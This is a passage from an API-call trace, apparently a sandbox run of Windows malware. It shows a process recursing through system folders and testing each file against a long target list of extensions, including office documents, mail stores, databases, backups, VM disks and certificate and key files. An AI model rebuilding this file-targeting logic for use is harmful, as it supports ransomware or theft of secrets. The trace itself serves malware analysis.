pszSpec="*.qbx") returned 0 [0111.789] lstrlenA (lpString="*.qbx") returned 5 [0111.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.qba") returned 0 [0111.789] lstrlenA (lpString="*.qba") returned 5 [0111.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.qby") returned 0 [0111.789] lstrlenA (lpString="*.qby") returned 5 [0111.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.qbj") returned 0 [0111.789] lstrlenA (lpString="*.qbj") returned 5 [0111.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.ofx") returned 0 [0111.789] lstrlenA (lpString="*.ofx") returned 5 [0111.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.qif") returned 0 [0111.790] lstrlenA (lpString="*.qif") returned 5 [0111.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.mye") returned 0 [0111.790] lstrlenA (lpString="*.mye") returned 5 [0111.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.mbox") returned 0 [0111.790] lstrlenA (lpString="*.mbox") returned 6 [0111.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.eml") returned 0 [0111.790] lstrlenA (lpString="*.eml") returned 5 [0111.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.pst") returned 0 [0111.790] lstrlenA (lpString="*.pst") returned 5 [0111.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.ost") returned 0 [0111.790] lstrlenA (lpString="*.ost") returned 5 [0111.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.idx") returned 0 [0111.790] lstrlenA (lpString="*.idx") returned 5 [0111.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.dbx") returned 0 [0111.790] lstrlenA (lpString="*.dbx") returned 5 [0111.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.sql") returned 0 [0111.790] lstrlenA (lpString="*.sql") returned 5 [0111.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.mdb") returned 0 [0111.790] lstrlenA (lpString="*.mdb") returned 5 [0111.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.fdb") returned 0 [0111.790] lstrlenA (lpString="*.fdb") returned 5 [0111.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.wab") returned 0 [0111.790] lstrlenA (lpString="*.wab") returned 5 [0111.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.dat") returned 0 [0111.790] lstrlenA (lpString="*.dat") returned 5 [0111.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.txt") returned 0 [0111.790] lstrlenA (lpString="*.txt") returned 5 [0111.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.jpeg") returned 0 [0111.790] lstrlenA (lpString="*.jpeg") returned 6 [0111.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.jpg") returned 0 [0111.791] lstrlenA (lpString="*.jpg") returned 5 [0111.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.png") returned 0 [0111.791] lstrlenA (lpString="*.png") returned 5 [0111.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.php") returned 0 [0111.791] lstrlenA (lpString="*.php") returned 5 [0111.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.cs") returned 0 [0111.791] lstrlenA (lpString="*.cs") returned 4 [0111.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.cpp") returned 0 [0111.791] lstrlenA (lpString="*.cpp") returned 5 [0111.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.rar") returned 0 [0111.791] lstrlenA (lpString="*.rar") returned 5 [0111.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.zip") returned 0 [0111.791] lstrlenA (lpString="*.zip") returned 5 [0111.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.html") returned 0 [0111.791] lstrlenA (lpString="*.html") returned 6 [0111.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.htm") returned 0 [0111.791] lstrlenA (lpString="*.htm") returned 5 [0111.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.xlsx") returned 0 [0111.791] lstrlenA (lpString="*.xlsx") returned 6 [0111.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.xls") returned 0 [0111.791] lstrlenA (lpString="*.xls") returned 5 [0111.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.mp4") returned 0 [0111.791] lstrlenA (lpString="*.mp4") returned 5 [0111.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.ppt") returned 0 [0111.791] lstrlenA (lpString="*.ppt") returned 5 [0111.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.pptx") returned 0 [0111.791] lstrlenA (lpString="*.pptx") returned 6 [0111.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.doc") returned 0 [0111.791] lstrlenA (lpString="*.doc") returned 5 [0111.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.dot") returned 0 [0111.792] lstrlenA (lpString="*.dot") returned 5 [0111.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.docx") returned 0 [0111.792] lstrlenA (lpString="*.docx") returned 6 [0111.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.7z") returned 0 [0111.792] lstrlenA (lpString="*.7z") returned 4 [0111.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.tar") returned 0 [0111.792] lstrlenA (lpString="*.tar") returned 5 [0111.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.bz2") returned 0 [0111.792] lstrlenA (lpString="*.bz2") returned 5 [0111.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.gz") returned 0 [0111.792] lstrlenA (lpString="*.gz") returned 4 [0111.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.mkv") returned 0 [0111.792] lstrlenA (lpString="*.mkv") returned 5 [0111.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.eml") returned 0 [0111.792] lstrlenA (lpString="*.eml") returned 5 [0111.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.msg") returned 0 [0111.792] lstrlenA (lpString="*.msg") returned 5 [0111.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.edb") returned 0 [0111.792] lstrlenA (lpString="*.edb") returned 5 [0111.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.accdb") returned 0 [0111.792] lstrlenA (lpString="*.accdb") returned 7 [0111.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.odb") returned 0 [0111.792] lstrlenA (lpString="*.odb") returned 5 [0111.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.java") returned 0 [0111.792] lstrlenA (lpString="*.java") returned 6 [0111.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.asm") returned 0 [0111.792] lstrlenA (lpString="*.asm") returned 5 [0111.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.pfx") returned 0 [0111.793] lstrlenA (lpString="*.pfx") returned 5 [0111.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.pem") returned 0 [0111.793] lstrlenA (lpString="*.pem") returned 5 [0111.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.p12") returned 0 [0111.793] lstrlenA (lpString="*.p12") returned 5 [0111.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.gpg") returned 0 [0111.793] lstrlenA (lpString="*.gpg") returned 5 [0111.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.vsd") returned 0 [0111.793] lstrlenA (lpString="*.vsd") returned 5 [0111.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.odg") returned 0 [0111.793] lstrlenA (lpString="*.odg") returned 5 [0111.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.raw") returned 0 [0111.793] lstrlenA (lpString="*.raw") returned 5 [0111.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.nef") returned 0 [0111.793] lstrlenA (lpString="*.nef") returned 5 [0111.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.svg") returned 0 [0111.793] lstrlenA (lpString="*.svg") returned 5 [0111.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.psd") returned 0 [0111.793] lstrlenA (lpString="*.psd") returned 5 [0111.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.vmx") returned 0 [0111.793] lstrlenA (lpString="*.vmx") returned 5 [0111.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.vmdk") returned 0 [0111.793] lstrlenA (lpString="*.vmdk") returned 6 [0111.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.vdi") returned 0 [0111.793] lstrlenA (lpString="*.vdi") returned 5 [0111.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.lay6") returned 0 [0111.793] lstrlenA (lpString="*.lay6") returned 6 [0111.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.mpeg") returned 0 [0111.793] lstrlenA (lpString="*.mpeg") returned 6 [0111.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.djvu") returned 0 [0111.794] lstrlenA (lpString="*.djvu") returned 6 [0111.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.tiff") returned 0 [0111.794] lstrlenA (lpString="*.tiff") returned 6 [0111.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.backup") returned 0 [0111.794] lstrlenA (lpString="*.backup") returned 8 [0111.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.pdf") returned 0 [0111.794] lstrlenA (lpString="*.pdf") returned 5 [0111.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.cert") returned 0 [0111.794] lstrlenA (lpString="*.cert") returned 6 [0111.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.docm") returned 0 [0111.794] lstrlenA (lpString="*.docm") returned 6 [0111.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.xlsm") returned 0 [0111.794] lstrlenA (lpString="*.xlsm") returned 6 [0111.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.dwg") returned 0 [0111.794] lstrlenA (lpString="*.dwg") returned 5 [0111.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.nd") returned 0 [0111.794] lstrlenA (lpString="*.nd") returned 4 [0111.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.tlg") returned 0 [0111.794] lstrlenA (lpString="*.tlg") returned 5 [0111.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.lgb") returned 0 [0111.794] lstrlenA (lpString="*.lgb") returned 5 [0111.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.mov") returned 0 [0111.794] lstrlenA (lpString="*.mov") returned 5 [0111.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.xdw") returned 0 [0111.794] lstrlenA (lpString="*.xdw") returned 5 [0111.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.ods") returned 0 [0111.794] lstrlenA (lpString="*.ods") returned 5 [0111.795] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.wav") returned 0 [0111.795] lstrlenA (lpString="*.wav") returned 5 [0111.795] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.mp3") returned 0 [0111.795] lstrlenA (lpString="*.mp3") returned 5 [0111.795] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.aiff") returned 0 [0111.795] lstrlenA (lpString="*.aiff") returned 6 [0111.795] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.flac") returned 0 [0111.795] lstrlenA (lpString="*.flac") returned 6 [0111.795] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.m4a") returned 0 [0111.795] lstrlenA (lpString="*.m4a") returned 5 [0111.795] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.csv") returned 0 [0111.795] lstrlenA (lpString="*.csv") returned 5 [0111.795] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc80bd72, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdc80bd72, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdc8a42f3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x799e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MIGUIControls.ni.dll", cAlternateFileName="MIGUIC~1.DLL")) returned 0 [0111.795] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.795] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc9d4df5, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdc9d4df5, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdc9d4df5, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5d7e85e3ad81826e2e1d7131284c63fe", cAlternateFileName="5D7E85~1")) returned 0 [0111.795] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.795] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bdc0d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2bdc0d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2bdc0d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x49004d, dwReserved1=0x550047, cFileName="MMCEx", cAlternateFileName="")) returned 1 [0111.795] lstrcmpA (lpString1=".", lpString2="MMCEx") returned -1 [0111.795] lstrcmpA (lpString1="..", lpString2="MMCEx") returned -1 [0111.795] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.795] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="MMCEx" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx" [0111.795] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx") returned 52 [0111.795] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bdc0d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2bdc0d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2bdc0d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.796] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.796] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bdc0d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2bdc0d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2bdc0d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.796] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.796] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.796] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bdc0d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2bdc0d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2bdc0d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b46af15d2e2ae2782f384bfc4a4c2c03", cAlternateFileName="B46AF1~1")) returned 1 [0111.796] lstrcmpA (lpString1=".", lpString2="b46af15d2e2ae2782f384bfc4a4c2c03") returned -1 [0111.796] lstrcmpA (lpString1="..", lpString2="b46af15d2e2ae2782f384bfc4a4c2c03") returned -1 [0111.796] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\*.*") returned="*.*" [0111.796] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\", lpString2="b46af15d2e2ae2782f384bfc4a4c2c03" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03" [0111.796] lstrlenA 